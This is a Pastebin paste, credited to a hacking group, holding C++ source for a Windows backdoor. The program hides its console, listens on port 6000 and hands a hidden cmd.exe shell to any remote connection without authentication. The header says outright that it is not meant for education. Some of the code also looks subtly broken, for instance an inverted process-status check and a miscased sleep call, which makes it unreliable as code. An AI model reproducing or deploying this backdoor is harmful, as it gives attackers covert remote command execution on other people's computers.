Advertisement
juananon

Basic BackDoor in C++

Jan 25th, 2013
948
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 5.93 KB | None | 0 0
  1. ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  2. =======================================
  3. ^^ HELLO  EVERYONE THIS CODE IS FOR  ^^
  4. ||    BASIC BACKDOOR ON C++          ||
  5. ||    CODED BY : JUAN DELA CRUZ      ||
  6. ||     ANONYMOUS PHILIPPINES         ||
  7. ||     TEAM: COD3X & HACK PRO        ||
  8. ^^                                   ^^
  9. =======================================
  10. ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  11.  
  12. Basic Backdoor C++
  13. ---------------------- C++ Code -------------------------->
  14.  
  15. /******************************************************************
  16. * Source code from the "Writing a basic backdoor in C" tutorial *
  17. * *
  18. * NOT Written for educational purposes only!! *
  19. * *
  20. * Tested with Dev-C++ 4.9.9.2, should work with other compilers *
  21. * as well. *
  22. * * *
  23. ******************************************************************/
  24.  
  25.  
  26. /*
  27. Don't forget to link winsock32.lib otherwise your compiler won't understand the sockets
  28. */
  29. #include <stdio.h>
  30. #include <stdlib.h>
  31. #include <windows.h>
  32. #include <string.h>
  33.  
  34.  
  35. //our variables, we need them globally to use them in all functions
  36. const char welcome[]="Welcome, enter your password please: ";
  37. char bufferin[1024]; //the buffer to read data from socket
  38. char bufferout[65535]; //the buffer to write data to the socket
  39. int i,port; // i is used for loop , port is going to keep the portnumber
  40. SOCKET locsock,remsock; //the sockets we are going to need
  41. SOCKADDR_IN sinloc,sinrem; //the structures needed for our sockets
  42. WSADATA wsadata; //wsadata
  43. STARTUPINFO startinfo; //startupinfo structure for CreateProcess
  44. SECURITY_ATTRIBUTES secat; //security attributes structure needed for CreateProcess
  45. PROCESS_INFORMATION procinfo; //process info struct needed for CreateProcess
  46. int bytesWritten; //number of bytes written gets stored here
  47. DWORD bytesRead,avail,exitcode; //number of bytes read, number of bytes available
  48. //and the exitcode
  49.  
  50.  
  51.  
  52. void CommandPrompt(void); //the function to give the command prompt
  53. int main() //the main function
  54. {
  55. //hide console
  56. FreeConsole();
  57. //set listen port
  58. port=6000;
  59. //tell windows we want to use sockets
  60. WSAStartup(0x101,&wsadata);
  61. //create socket
  62. locsock=socket(AF_INET,SOCK_STREAM,0);
  63.  
  64. //fill structure
  65. sinloc.sin_family=AF_INET;
  66. sinloc.sin_addr.s_addr=INADDR_ANY;
  67. sinloc.sin_port=htons(port);
  68.  
  69.  
  70.  
  71. //bind the socket to the specified port
  72. if(bind(locsock,(SOCKADDR*)&sinloc,sizeof(SOCKADDR_IN))==SOCKET_ERROR)
  73. {
  74. WSACleanup();
  75. printf("Error binding socket.");
  76. return EXIT_FAILURE;
  77. }
  78.  
  79. //listen on the specified socket
  80. if(listen(locsock,5)==SOCKET_ERROR)
  81. {
  82. WSACleanup();
  83. printf("Error listening socket.");
  84. return EXIT_FAILURE;
  85. }
  86.  
  87. //infinite loop here to keep the program listening
  88. while(1)
  89. {
  90. remsock=SOCKET_ERROR;
  91. while(remsock==SOCKET_ERROR)
  92. {
  93. //accept connection to our program
  94. remsock=accept(locsock,NULL,NULL);
  95. if(remsock==INVALID_SOCKET)
  96. {
  97. //cleanup and exit program
  98. WSACleanup();
  99. printf("Error accepting socket.");
  100. return EXIT_FAILURE;
  101. }
  102.  
  103. CommandPrompt(); //start the commandprompt function
  104. }
  105. closesocket(remsock); //close the socket
  106. }
  107. //we should never reach this point, but i've put this hear just in case ;-)
  108. return EXIT_SUCCESS;
  109.  
  110. }
  111.  
  112.  
  113.  
  114. //*************************************************************
  115. void CommandPrompt(void) //the function which handles the complete commandprompt
  116. {
  117. secat.nLength=sizeof(SECURITY_ATTRIBUTES);
  118. secat.bInheritHandle=TRUE;
  119. DWORD bytesW; //number of bytes written gets stored here
  120. HANDLE newstdin,newstdout,readout,writein; //the handles for our Pipes
  121. char exit1[]={'e','x','i','t',10,0}; //we need this to compare our command to 'exit'
  122. char exit2[]={'E','X','I','T',10,0}; //we need this to compare our command to 'EXIT'
  123.  
  124. //create the pipes for our command prompt
  125. CreatePipe(&newstdin,&writein,&secat,0);
  126. CreatePipe(&readout,&newstdout,&secat,0);
  127.  
  128. GetStartupInfo(&startinfo);
  129.  
  130. //fill another structure
  131. startinfo.dwFlags=STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
  132. startinfo.wShowWindow=SW_HIDE;
  133. startinfo.hStdOutput=newstdout;
  134. startinfo.hStdError=newstdout;
  135. startinfo.hStdInput=newstdin;
  136.  
  137. //start cmd prompt
  138. CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,CREATE_NEW_CONSOLE,NULL,NULL,&startinfo,&procinfo);
  139. //endless loop
  140. while(1)
  141. {
  142. //check if cmd.exe is still running, if not then cleanup and start listening again.
  143. if(GetExitCodeProcess(procinfo.hProcess,&exitcode)==STILL_ACTIVE)
  144. {
  145. CloseHandle(procinfo.hThread);
  146. CloseHandle(procinfo.hProcess);
  147. CloseHandle(newstdin);
  148. CloseHandle(writein);
  149. CloseHandle(readout);
  150. CloseHandle(newstdout);
  151. break;
  152. }
  153. bytesRead=0;
  154. //sleep 0.5 seconds to give cmd.exe the chance to startup
  155. sleep(500);
  156. //check if the pipe already contains something we can write to output
  157. PeekNamedPipe(readout,bufferout,sizeof(bufferout),&bytesRead,&avail,NULL);
  158. if(bytesRead!=0)
  159. {
  160. while(bytesRead!=0)
  161. { //read data from cmd.exe and send to client, then clear the buffer
  162. ReadFile(readout,bufferout,sizeof(bufferout),&bytesRead,NULL);
  163. send(remsock,bufferout,strlen(bufferout),0);
  164. ZeroMemory(bufferout,sizeof(bufferout));
  165. sleep(100);
  166. PeekNamedPipe(readout,bufferout,sizeof(bufferout),&bytesRead,&avail,NULL);
  167. }
  168. }
  169. // clear bufferin
  170. ZeroMemory(bufferin,sizeof(bufferin));
  171. //receive the command given
  172. recv(remsock,bufferin,sizeof(bufferin),0);
  173. //if command is 'exit' or 'EXIT' then we have to capture it to prevent our program
  174. //from hanging.
  175. if((strcmp(bufferin,exit1)==0)||(strcmp(bufferin,exit2)==0))
  176. {
  177. //let cmd.exe close by giving the command, then go to closeup label
  178. WriteFile(writein,bufferin,strlen(bufferin),&bytesW,NULL);
  179. goto closeup;
  180. }
  181. //else write the command to cmd.exe
  182. WriteFile(writein,bufferin,strlen(bufferin),&bytesW,NULL);
  183. //clear the bufferin
  184. for(i=0;i<sizeof(bufferin);i++)
  185. {
  186. bufferin[i]=0;
  187. }
  188. }
  189. //close up all handles
  190. closeup:
  191. CloseHandle(procinfo.hThread);
  192. CloseHandle(procinfo.hProcess);
  193. CloseHandle(newstdin);
  194. CloseHandle(writein);
  195. CloseHandle(readout);
  196. CloseHandle(newstdout);
  197. }
  198.  
  199. ----------<------------ C++ Code --------------------------
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement